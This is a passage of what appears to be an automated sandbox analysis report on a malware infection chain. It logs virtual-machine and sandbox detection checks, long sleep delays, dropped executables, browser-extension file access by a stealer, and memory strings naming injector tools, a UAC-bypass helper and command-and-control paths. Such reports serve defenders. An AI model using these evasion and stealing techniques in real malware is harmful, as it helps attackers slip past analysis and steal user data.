Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\callcustomer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\callcustomer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\callcustomer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\callcustomer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\callcustomer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\callcustomer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\callcustomer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\callcustomer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\callcustomer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\callcustomer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\callcustomer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\callcustomer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\callcustomer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\callcustomer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\callcustomer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\callcustomer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\callcustomer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\callcustomer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\callcustomer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\callcustomer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\callcustomer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\callcustomer.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: 9EB5.exe, 00000021.00000002.2642720211.0000000005120000.00000040.00001000.00020000.00000000.sdmp, 9EB5.exe, 00000021.00000002.2628119160.0000000000400000.00000040.00000001.01000000.0000000F.sdmp	Binary or memory string: RTP.EXESYSTEMROOT=SETFILETIMESIGNWRITINGSOFT_DOTTEDSYSTEMDRIVETTL EXPIREDUNINSTALLERVBOXSERVICEVMUSRVC.EXEVARIANTINITVIRTUALFREEVIRTUALLOCKWSARECVFROMWARANG_CITIWHITE_SPACEWINDEFENDER[:^XDIGIT:]\DSEFIX.EXEADDITIONALSALARM CLOCKAPPLICATIONASSISTQUEUEAUTHORITIESBAD ADDRESSBAD ARGSIZEBAD M VALUEBAD MESSAGEBAD TIMEDIVBITCOINS.SKBROKEN PIPECAMPAIGN_IDCGOCALL NILCLOBBERFREECLOSESOCKETCOMBASE.DLLCREATED BY CRYPT32.DLLE2.KEFF.ORGEMBEDDED/%SEXTERNAL IPFILE EXISTSFINAL TOKENFLOAT32NAN2FLOAT64NAN1FLOAT64NAN2FLOAT64NAN3GCCHECKMARKGENERALIZEDGET CDN: %WGETPEERNAMEGETSOCKNAMEGLOBALALLOCHTTP2CLIENTHTTP2SERVERHTTPS_PROXYI/O TIMEOUTLOCAL ERRORMSPANMANUALMETHODARGS(MINTRIGGER=MOVE %S: %WMSWSOCK.DLLNETPOLLINITNEXT SERVERNIL CONTEXTOPERA-PROXYORANNIS.COMOUT OF SYNCPARSE ERRORPROCESS: %SREFLECT.SETREFLECTOFFSRETRY-AFTERRUNTIME: P RUNTIME: G RUNTIME: P SCHEDDETAILSECHOST.DLLSECUR32.DLLSERVICE: %SSHELL32.DLLSHORT WRITESTACK TRACESTART PROXYTASKMGR.EXETLS: ALERT(TRACEALLOC(TRAFFIC UPDUNREACHABLEUSERENV.DLLVERSION.DLLVERSION=195WININET.DLLWUP_PROCESS (SENSITIVE) B (
Source: callcustomer.exe, 00000031.00000002.2949652811.0000000002FEA000.00000004.00000800.00020000.00000000.sdmp, callcustomer.exe, 00000031.00000002.2949652811.0000000002E62000.00000004.00000800.00020000.00000000.sdmp, callcustomer.exe, 00000031.00000002.2949652811.0000000002FD6000.00000004.00000800.00020000.00000000.sdmp, callcustomer.exe, 00000031.00000002.2949652811.0000000002FF2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SBIEDLL.DLL
Source: file.exe, 00000000.00000002.1746294817.000000000089E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ASWHOOKE4
Source: 9EB5.exe, 00000021.00000002.2642720211.0000000005120000.00000040.00001000.00020000.00000000.sdmp, 9EB5.exe, 00000021.00000002.2628119160.0000000000400000.00000040.00000001.01000000.0000000F.sdmp	Binary or memory string: TOO MANY LINKSTOO MANY USERSTORRC FILENAMEUNEXPECTED EOFUNKNOWN CODE: UNKNOWN ERROR UNKNOWN METHODUNKNOWN MODE: UNREACHABLE: UNSAFE.POINTERUSERARENASTATEVIRTUALBOX: %WVMWARETRAY.EXEVMWAREUSER.EXEWII LIBNUP/1.0WINAPI ERROR #WINDOW CREATEDWORK.FULL != 0XENSERVICE.EXEZERO PARAMETER WITH GC PROG
Source: 9EB5.exe, 00000021.00000002.2642720211.0000000005120000.00000040.00001000.00020000.00000000.sdmp, 9EB5.exe, 00000021.00000002.2628119160.0000000000400000.00000040.00000001.01000000.0000000F.sdmp	Binary or memory string: ... OMITTING ACCEPT-CHARSETAFTER EFIGUARDALLOCFREETRACEBAD ALLOCCOUNTBAD RECORD MACBAD RESTART PCBAD SPAN STATEBTC.USEBSV.COMCERT INSTALLEDCHECKSUM ERRORCONTENT-LENGTHCOULDN'T PATCHDATA TRUNCATEDDISTRIBUTOR_IDDRIVER REMOVEDERROR RESPONSEFILE TOO LARGEFINALIZER WAITGCSTOPTHEWORLDGET UPTIME: %WGETPROTOBYNAMEGOT SYSTEM PIDINITIAL SERVERINTERNAL ERRORINVALID SYNTAXIS A DIRECTORYKEY SIZE WRONGLEVEL 2 HALTEDLEVEL 3 HALTEDMEMPROFILERATEMULTIPARTFILESNEED MORE DATANIL ELEM TYPE!NO MODULE DATANO SUCH DEVICEOPEN EVENT: %WPARSE CERT: %WPROTOCOL ERRORREAD CERTS: %WREAD_FRAME_EOFREFLECT.VALUE.REMOVE APP: %WRUNTIME: FULL=RUNTIME: WANT=S.ALLOCCOUNT= SEMAROOT QUEUESERVER.VERSIONSTACK OVERFLOWSTOPM SPINNINGSTORE64 FAILEDSYNC.COND.WAITTEXT FILE BUSYTIME.LOCATION(TIMEENDPERIODTOO MANY LINKSTOO MANY USERSTORRC FILENAMEUNEXPECTED EOFUNKNOWN CODE: UNKNOWN ERROR UNKNOWN METHODUNKNOWN MODE: UNREACHABLE: UNSAFE.POINTERUSERARENASTATEVIRTUALBOX: %WVMWARETRAY.EXEVMWAREUSER.EXEWII LIBNUP/1.0WINAPI ERROR #WINDOW CREATEDWORK.FULL != 0XENSERVICE.EXEZERO PARAMETER WITH GC PROG

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Windows\SysWOW64\schtasks.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController

Checks if the current machine is a virtual machine (disk enumeration)

Source: C:\Users\user\Desktop\file.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vdhbahw	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vdhbahw	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vdhbahw	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vdhbahw	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vdhbahw	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vdhbahw	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6545.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Local\Temp\6545.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Local\Temp\6545.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Local\Temp\6545.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Local\Temp\6545.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Local\Temp\6545.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Source: C:\Windows\SysWOW64\schtasks.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive

Source: C:\Windows\explorer.exe TID: 6408	Thread sleep time: -310100s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 3752	Thread sleep time: -50600s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\577f58beff\yiueea.exe TID: 3632	Thread sleep count: 9232 > 30
Source: C:\Users\user\AppData\Local\Temp\577f58beff\yiueea.exe TID: 3632	Thread sleep time: -276960000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\577f58beff\yiueea.exe TID: 2860	Thread sleep count: 37 > 30
Source: C:\Users\user\AppData\Local\Temp\577f58beff\yiueea.exe TID: 4448	Thread sleep time: -900000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\C06.exe TID: 5080	Thread sleep time: -700000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\callcustomer.exe TID: 792	Thread sleep time: -10145709240540247s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\callcustomer.exe TID: 792	Thread sleep time: -100000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\callcustomer.exe TID: 2412	Thread sleep count: 264 > 30
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\callcustomer.exe TID: 792	Thread sleep time: -99682s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\callcustomer.exe TID: 792	Thread sleep time: -99412s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\callcustomer.exe TID: 792	Thread sleep time: -99030s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\callcustomer.exe TID: 792	Thread sleep time: -98689s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\callcustomer.exe TID: 792	Thread sleep time: -98251s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\callcustomer.exe TID: 792	Thread sleep time: -98034s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\callcustomer.exe TID: 792	Thread sleep time: -97641s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\callcustomer.exe TID: 792	Thread sleep time: -97371s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\callcustomer.exe TID: 792	Thread sleep time: -96999s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\callcustomer.exe TID: 792	Thread sleep time: -96562s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\callcustomer.exe TID: 792	Thread sleep time: -96316s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\callcustomer.exe TID: 792	Thread sleep time: -95862s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\callcustomer.exe TID: 6052	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\callcustomer.exe TID: 5992	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\callcustomer.exe TID: 4092	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Users\user\AppData\Local\Temp\577f58beff\yiueea.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\577f58beff\yiueea.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\C06.exe	Evasive API call chain: GetModuleFileName,DecisionNodes,ExitProcess			graph_11-38162
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Evasive API call chain: GetModuleFileName,DecisionNodes,Sleep			graph_8-38181

Source: C:\Users\user\AppData\Local\Temp\577f58beff\yiueea.exe	Thread delayed: delay time: 180000
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Thread delayed: delay time: 700000
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\callcustomer.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\callcustomer.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 384	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 3101	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 506	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 352	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: foregroundWindowGot 877	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: foregroundWindowGot 838	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\577f58beff\yiueea.exe	Window / User API: threadDelayed 9232

Source: C:\Windows\explorer.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\8A61.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\00917474-93a3-4865-9112-03a53bb97209\build2.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\callcustomerpro.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\IXP002.TMP\calllcustomer.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\98D7.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\00917474-93a3-4865-9112-03a53bb97209\build2.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\treelatest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\IXP001.TMP\thoseintroductory.exe	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\C06.exe

Code function: 8_2_0228A71C rdtsc

8_2_0228A71C

Source: C:\Windows\SysWOW64\schtasks.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\9EB5.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT Name FROM Win32_Processor

Source: C:\Users\user\AppData\Local\Temp\C06.exe

Code function: _malloc,_malloc,_wprintf,_free,GetAdaptersInfo,_free,_malloc,GetAdaptersInfo,_sprintf,_wprintf,_wprintf,_free,

11_2_0040E670

Source: C:\Users\user\AppData\Local\Temp\577f58beff\yiueea.exe	Thread delayed: delay time: 30000
Source: C:\Users\user\AppData\Local\Temp\577f58beff\yiueea.exe	Thread delayed: delay time: 180000
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Thread delayed: delay time: 700000
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\callcustomer.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\callcustomer.exe	Thread delayed: delay time: 100000
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\callcustomer.exe	Thread delayed: delay time: 99682
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\callcustomer.exe	Thread delayed: delay time: 99412
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\callcustomer.exe	Thread delayed: delay time: 99030
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\callcustomer.exe	Thread delayed: delay time: 98689
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\callcustomer.exe	Thread delayed: delay time: 98251
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\callcustomer.exe	Thread delayed: delay time: 98034
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\callcustomer.exe	Thread delayed: delay time: 97641
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\callcustomer.exe	Thread delayed: delay time: 97371
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\callcustomer.exe	Thread delayed: delay time: 96999
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\callcustomer.exe	Thread delayed: delay time: 96562
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\callcustomer.exe	Thread delayed: delay time: 96316
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\callcustomer.exe	Thread delayed: delay time: 95862
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\callcustomer.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\C06.exe	API call chain: ExitProcess graph end node	graph_8-38251
Source: C:\Users\user\AppData\Local\Temp\C06.exe	API call chain: ExitProcess graph end node	graph_11-38164
Source: C:\Users\user\AppData\Local\Temp\C06.exe	API call chain: ExitProcess graph end node	graph_15-38279

Source: C:\Users\user\AppData\Local\00917474-93a3-4865-9112-03a53bb97209\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\
Source: C:\Users\user\AppData\Local\00917474-93a3-4865-9112-03a53bb97209\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\
Source: C:\Users\user\AppData\Local\00917474-93a3-4865-9112-03a53bb97209\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\
Source: C:\Users\user\AppData\Local\00917474-93a3-4865-9112-03a53bb97209\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\
Source: C:\Users\user\AppData\Local\00917474-93a3-4865-9112-03a53bb97209\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\
Source: C:\Users\user\AppData\Local\00917474-93a3-4865-9112-03a53bb97209\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\

Source: 9EB5.exe, 00000021.00000002.2628119160.0000000000400000.00000040.00000001.01000000.0000000F.sdmp	Binary or memory string: entersyscallexit status failed to %wfound av: %sgcBitsArenasgcpacertracegetaddrinfowgot TI tokenguid_machineharddecommithost is downhttp2debug=1http2debug=2illegal seekinjector.exeinstall_dateinvalid baseinvalid pathinvalid portinvalid slotiphlpapi.dllkernel32.dllmachine_guidmadvdontneedmax-forwardsmheapSpecialmsftedit.dllmspanSpecialnetapi32.dllno such hostnon-existentnot pollableoleaut32.dllout of rangeparse PE: %wproxyconnectrandautoseedrecv_goaway_reflect.Copyreleasep: m=remote errorremoving appruntime: gp=runtime: sp=s ap traffics hs trafficself-preemptsetupapi.dllshort bufferspanSetSpinesweepWaiterstraceStringstraffic/readtransmitfileulrichard.chunexpected )unknown portunknown typevmacthlp.exevmtoolsd.exewatchdog.exewinlogon.exewintrust.dllwirep: p->m=worker mode wtsapi32.dll != sweepgen (default %q) (default %v) MB globals, MB) workers= called from flushedWork idlethreads= in host name is nil, not nStackRoots= out of range pluginpath= s.spanclass= span.base()= syscalltick= work.nproc= work.nwait= %s/rawaddr/%s%s\%s\drivers, gp->status=, not pointer-bind-address-byte block (3814697265625: unknown pc Accept-RangesAuthorizationCLIENT_RANDOMCONNECTION-IDCONNECT_ERRORCache-ControlCertOpenStoreCoTaskMemFreeConnectServerContent-RangeDONT-FRAGMENTDeleteServiceDestroyWindowDistributorIDECDSAWithSHA1EnumProcessesExitWindowsExFQDN too longFindFirstFileFindNextFileWFindResourceWFreeAddrInfoWGC sweep waitGeoIPFile %s
Source: 9EB5.exe, 00000021.00000002.2642720211.0000000005120000.00000040.00001000.00020000.00000000.sdmp, 9EB5.exe, 00000021.00000002.2628119160.0000000000400000.00000040.00000001.01000000.0000000F.sdmp	Binary or memory string: DnsRecordListFreeENHANCE_YOUR_CALMEnumThreadWindowsFLE Standard TimeFailed DependencyGC assist markingGMT Standard TimeGTB Standard TimeGetCurrentProcessGetShortPathNameWHEADER_TABLE_SIZEHKEY_CLASSES_ROOTHKEY_CURRENT_USERHTTP_1_1_REQUIREDIf-Modified-SinceIsTokenRestrictedLookupAccountSidWMESSAGE-INTEGRITYMoved PermanentlyOld_North_ArabianOld_South_ArabianOther_ID_ContinuePython-urllib/2.5QueryWorkingSetExRESERVATION-TOKENReadProcessMemoryRegLoadMUIStringWRtlGetCurrentPebSafeArrayCopyDataSafeArrayCreateExSentence_TerminalSysAllocStringLenSystemFunction036Too Many RequestsTransfer-EncodingUnexpected escapeUnified_IdeographUnknown AttributeVGAuthService.exeWSAEnumProtocolsWWTSQueryUserTokenWrite after CloseWrong CredentialsX-Idempotency-Key\System32\drivers\\.\VBoxMiniRdrDN
Source: 9EB5.exe, 00000021.00000002.2628119160.0000000000400000.00000040.00000001.01000000.0000000F.sdmp	Binary or memory string: IP addressIsValidSidKeep-AliveKharoshthiLocalAllocLockFileExLogonUserWManichaeanMessage-IdNo ContentOld_ItalicOld_PermicOld_TurkicOpenEventWOpenMutexWOpenThreadOther_MathPOSTALCODEParseAddr(ParseFloatPhoenicianProcessingPulseEventRIPEMD-160RST_STREAMResetEventSHA256-RSASHA384-RSASHA512-RSASYSTEMROOTSaurashtraSecureBootSet-CookieShowWindowTor uptimeUser-AgentVMSrvc.exeWSACleanupWSASocketWWSAStartupWget/1.9.1Windows 10Windows 11[:^alnum:][:^alpha:][:^ascii:][:^blank:][:^cntrl:][:^digit:][:^graph:][:^lower:][:^print:][:^punct:][:^space:][:^upper:][:xdigit:]\\.\WinMon\patch.exe^{[\w-]+}$app_%d.txtatomicand8attr%d=%s cmd is nilcomplex128connectiondebug calldnsapi.dlldsefix.exedwmapi.dlle.keff.orgexecerrdotexitThreadexp masterfloat32nanfloat64nangetsockoptgoroutine http_proxyimage/avifimage/jpegimage/webpimpossibleindicationinvalid IPinvalidptrkeep-alivemSpanInUsemyhostnameno resultsnot a boolnot signednotifyListowner diedpowershellprl_cc.exeprofInsertres binderres masterresumptionrune <nil>runtime: gs.state = schedtracesemacquiresend stateset-cookiesetsockoptskipping: socks bindstackLarget.Kind == terminatedtext/plaintime.Date(time.Localtracefree(tracegc()
Source: 9EB5.exe, 00000021.00000002.2628119160.0000000000400000.00000040.00000001.01000000.0000000F.sdmp	Binary or memory string: acceptactivechan<-closedcookiedirectdomainefenceempty exec: expectfamilygeoip6gopherhangupheaderinternip+netkilledlistenminutenetdnsnumberobjectoriginpopcntrdtscpreadatreasonremoverenamereturnrun-v3rune1 secondselectsendtoserversocketsocks socks5statusstringstructsweep sysmontelnettimersuint16uint32uint64unuseduptimevmhgfsvmxnetvpc-s3wup_hsxennetxensvcxenvdb %v=%v, (conn) (scan (scan) MB in Value> allocs dying= flags= len=%d locks= m->g0= nmsys= pad1= pad2= s=nil
Source: 9EB5.exe, 00000021.00000002.2628119160.0000000000400000.00000040.00000001.01000000.0000000F.sdmp	Binary or memory string: (MISSING)(unknown), newval=, oldval=, size = , tail = -07:00:00/api/cdn?/api/poll127.0.0.1244140625: status=AuthorityBassa_VahBhaiksukiClassINETCuneiformDiacriticEVEN-PORTExecQueryFindCloseForbiddenGetDIBitsHex_DigitInheritedInstMatchInstRune1InterfaceKhudawadiLocalFreeMalayalamMongolianMoveFileWNabataeanNot FoundOP_RETURNOSCaptionPalmyreneParseUintPatchTimePublisherReleaseDCRemoveAllSTUN addrSamaritanSee OtherSeptemberSundaneseSysnativeToo EarlyTrailer: TypeCNAMETypeHINFOTypeMINFOUse ProxyVBoxGuestVBoxMouseVBoxVideoWSASendToWednesdayWindows 7WriteFileZ07:00:00[%v = %d][:^word:][:alnum:][:alpha:][:ascii:][:blank:][:cntrl:][:digit:][:graph:][:lower:][:print:][:punct:][:space:][:upper:]_outboundatomicor8attributeb.ooze.ccbad indirbus errorchallengechan sendcomplex64connectexcopystackcsrss.exectxt != 0d.nx != 0dns,filesecdsa.netempty urlfiles,dnsfn.48.orgfodhelperfork/execfuncargs(gdi32.dllhchanLeafimage/gifimage/pnginittraceinterfaceinterruptinvalid nipv6-icmplocalhostmSpanDeadnew tokennil errorntdll.dllole32.dllomitemptyop_returnpanicwaitpatch.exepclmulqdqpreemptedprintableprofBlockprotocol proxy.exepsapi.dllquestionsreboot inrecover: reflect: rwxrwxrwxscavtracestackpoolsucceededtask %+v
Source: 9EB5.exe, 00000021.00000002.2642267727.0000000004D21000.00000040.00000020.00020000.00000000.sdmp	Binary or memory string: aryvmcixn-SE-
Source: 9EB5.exe, 00000021.00000002.2628119160.0000000000400000.00000040.00000001.01000000.0000000F.sdmp	Binary or memory string: VirtualUnlockWINDOW_UPDATEWTSFreeMemoryWriteConsoleW[FrameHeader \\.\VBoxGuestaccept-rangesaccess deniedadvapi32.dll
Source: 9EB5.exe, 00000021.00000002.2642267727.0000000004D21000.00000040.00000020.00020000.00000000.sdmp	Binary or memory string: ameNewaPINGPOSTPathQEMUROOTH
Source: explorer.exe, 00000001.00000000.1729958246.000000000982D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1729958246.00000000097D4000.00000004.00000001.00020000.00000000.sdmp, C06.exe, 0000000B.00000002.2276744600.0000000000714000.00000004.00000020.00020000.00000000.sdmp, C06.exe, 0000000B.00000002.2276744600.00000000006B8000.00000004.00000020.00020000.00000000.sdmp, yiueea.exe, 00000011.00000003.4056210973.0000000000B52000.00000004.00000020.00020000.00000000.sdmp, yiueea.exe, 00000011.00000002.4134687572.0000000000B52000.00000004.00000020.00020000.00000000.sdmp, C06.exe, 0000001C.00000002.4134884919.00000000007E1000.00000004.00000020.00020000.00000000.sdmp, C06.exe, 0000001C.00000002.4134884919.0000000000738000.00000004.00000020.00020000.00000000.sdmp, C06.exe, 0000001F.00000002.4134499495.000000000081F000.00000004.00000020.00020000.00000000.sdmp, C06.exe, 0000001F.00000002.4134499495.0000000000881000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000026.00000002.2723898873.00000000023A5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: 9EB5.exe, 00000021.00000002.2628119160.0000000000400000.00000040.00000001.01000000.0000000F.sdmp	Binary or memory string: too many linkstoo many userstorrc filenameunexpected EOFunknown code: unknown error unknown methodunknown mode: unreachable: unsafe.PointeruserArenaStatevirtualbox: %wvmwaretray.exevmwareuser.exewii libnup/1.0winapi error #window createdwork.full != 0xenservice.exezero parameter with GC prog
Source: explorer.exe, 00000001.00000000.1730789041.0000000009977000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\4&224f42ef&0&000000
